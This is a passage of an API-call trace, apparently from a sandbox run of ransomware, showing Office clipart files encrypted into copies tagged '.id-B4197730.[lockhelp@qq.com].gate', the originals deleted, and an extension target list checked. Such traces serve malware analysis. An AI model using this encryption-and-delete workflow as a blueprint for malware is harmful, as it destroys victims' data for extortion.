dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.750] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.750] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.751] GetLastError () returned 0x0 [0319.751] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0319.752] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0319.753] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.753] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.753] SetEndOfFile (hFile=0x370) returned 1 [0319.754] CloseHandle (hObject=0x370) returned 1 [0319.754] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.754] SetEndOfFile (hFile=0x36c) returned 1 [0319.755] CloseHandle (hObject=0x36c) returned 1 [0319.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0319.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.756] lstrlenW (lpString=".doc") returned 4 [0319.756] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.756] lstrlenW (lpString=".docx") returned 5 [0319.756] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.756] lstrlenW (lpString=".pdf") returned 4 [0319.756] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.756] lstrlenW (lpString=".xls") returned 4 [0319.756] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.756] lstrlenW (lpString=".xlsx") returned 5 [0319.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.756] lstrlenW (lpString=".ppt") returned 4 [0319.756] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.756] lstrlenW (lpString=".zip") returned 4 [0319.756] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.756] lstrlenW (lpString=".rar") returned 4 [0319.756] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.756] lstrlenW (lpString=".bz2") returned 4 [0319.756] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.756] lstrlenW (lpString=".7z") returned 3 [0319.756] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.756] lstrlenW (lpString=".dbf") returned 4 [0319.756] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.756] lstrlenW (lpString=".1cd") returned 4 [0319.756] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.757] lstrlenW (lpString=".jpg") returned 4 [0319.757] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.757] lstrlenW (lpString=".doc") returned 4 [0319.757] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.757] lstrlenW (lpString=".docx") returned 5 [0319.757] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.757] lstrlenW (lpString=".pdf") returned 4 [0319.757] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString=".xls") returned 4 [0319.757] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString=".xlsx") returned 5 [0319.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.757] lstrlenW (lpString=".ppt") returned 4 [0319.757] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.757] lstrlenW (lpString=".zip") returned 4 [0319.757] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString=".rar") returned 4 [0319.757] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.757] lstrlenW (lpString=".bz2") returned 4 [0319.757] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.757] lstrlenW (lpString=".7z") returned 3 [0319.757] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.758] lstrlenW (lpString=".dbf") returned 4 [0319.758] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.758] lstrlenW (lpString=".1cd") returned 4 [0319.758] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0319.758] lstrlenW (lpString=".jpg") returned 4 [0319.758] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.758] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.758] lstrlenW (lpString="AG00157_.GIF") returned 12 [0319.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.759] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4955) returned 1 [0319.759] CloseHandle (hObject=0x36c) returned 1 [0319.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0319.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.759] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.759] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.760] GetLastError () returned 0x0 [0319.760] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x135b, lpOverlapped=0x0) returned 1 [0319.761] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x1360, lpOverlapped=0x0) returned 1 [0319.762] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.762] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.763] SetEndOfFile (hFile=0x370) returned 1 [0319.763] CloseHandle (hObject=0x370) returned 1 [0319.763] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.763] SetEndOfFile (hFile=0x36c) returned 1 [0319.764] CloseHandle (hObject=0x36c) returned 1 [0319.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0319.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.765] lstrlenW (lpString=".doc") returned 4 [0319.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.765] lstrlenW (lpString=".docx") returned 5 [0319.765] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.765] lstrlenW (lpString=".pdf") returned 4 [0319.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.765] lstrlenW (lpString=".xls") returned 4 [0319.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.765] lstrlenW (lpString=".xlsx") returned 5 [0319.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.765] lstrlenW (lpString=".ppt") returned 4 [0319.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.765] lstrlenW (lpString=".zip") returned 4 [0319.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.765] lstrlenW (lpString=".rar") returned 4 [0319.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.765] lstrlenW (lpString=".bz2") returned 4 [0319.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.765] lstrlenW (lpString=".7z") returned 3 [0319.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.765] lstrlenW (lpString=".dbf") returned 4 [0319.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.765] lstrlenW (lpString=".1cd") returned 4 [0319.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.766] lstrlenW (lpString=".jpg") returned 4 [0319.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.766] lstrlenW (lpString=".doc") returned 4 [0319.766] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.766] lstrlenW (lpString=".docx") returned 5 [0319.766] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.766] lstrlenW (lpString=".pdf") returned 4 [0319.766] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString=".xls") returned 4 [0319.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString=".xlsx") returned 5 [0319.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.766] lstrlenW (lpString=".ppt") returned 4 [0319.766] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.766] lstrlenW (lpString=".zip") returned 4 [0319.766] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString=".rar") returned 4 [0319.766] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.766] lstrlenW (lpString=".bz2") returned 4 [0319.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.766] lstrlenW (lpString=".7z") returned 3 [0319.767] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.767] lstrlenW (lpString=".dbf") returned 4 [0319.767] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.767] lstrlenW (lpString=".1cd") returned 4 [0319.767] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0319.767] lstrlenW (lpString=".jpg") returned 4 [0319.767] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.767] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.767] lstrlenW (lpString="AG00158_.GIF") returned 12 [0319.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.767] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5030) returned 1 [0319.767] CloseHandle (hObject=0x36c) returned 1 [0319.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0319.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.768] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.768] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.769] GetLastError () returned 0x0 [0319.769] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0320.058] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0320.059] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.059] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.059] SetEndOfFile (hFile=0x370) returned 1 [0320.060] CloseHandle (hObject=0x370) returned 1 [0320.060] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.060] SetEndOfFile (hFile=0x36c) returned 1 [0320.061] CloseHandle (hObject=0x36c) returned 1 [0320.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0320.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.061] lstrlenW (lpString=".doc") returned 4 [0320.061] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.061] lstrlenW (lpString=".docx") returned 5 [0320.061] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.061] lstrlenW (lpString=".pdf") returned 4 [0320.061] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.061] lstrlenW (lpString=".xls") returned 4 [0320.062] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.062] lstrlenW (lpString=".xlsx") returned 5 [0320.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.062] lstrlenW (lpString=".ppt") returned 4 [0320.062] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.062] lstrlenW (lpString=".zip") returned 4 [0320.062] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.062] lstrlenW (lpString=".rar") returned 4 [0320.062] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.062] lstrlenW (lpString=".bz2") returned 4 [0320.062] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.062] lstrlenW (lpString=".7z") returned 3 [0320.062] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.062] lstrlenW (lpString=".dbf") returned 4 [0320.062] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.062] lstrlenW (lpString=".1cd") returned 4 [0320.062] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.062] lstrlenW (lpString=".jpg") returned 4 [0320.062] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.063] lstrlenW (lpString=".doc") returned 4 [0320.063] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.063] lstrlenW (lpString=".docx") returned 5 [0320.063] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.063] lstrlenW (lpString=".pdf") returned 4 [0320.063] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.063] lstrlenW (lpString=".xls") returned 4 [0320.063] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.063] lstrlenW (lpString=".xlsx") returned 5 [0320.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.063] lstrlenW (lpString=".ppt") returned 4 [0320.063] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.063] lstrlenW (lpString=".zip") returned 4 [0320.063] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.063] lstrlenW (lpString=".rar") returned 4 [0320.063] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.063] lstrlenW (lpString=".bz2") returned 4 [0320.063] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.063] lstrlenW (lpString=".7z") returned 3 [0320.063] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.063] lstrlenW (lpString=".dbf") returned 4 [0320.063] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.063] lstrlenW (lpString=".1cd") returned 4 [0320.063] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0320.064] lstrlenW (lpString=".jpg") returned 4 [0320.064] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.064] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.064] lstrlenW (lpString="AG00170_.GIF") returned 12 [0320.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0320.064] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9248) returned 1 [0320.064] CloseHandle (hObject=0x36c) returned 1 [0320.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0320.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0320.065] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.065] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: 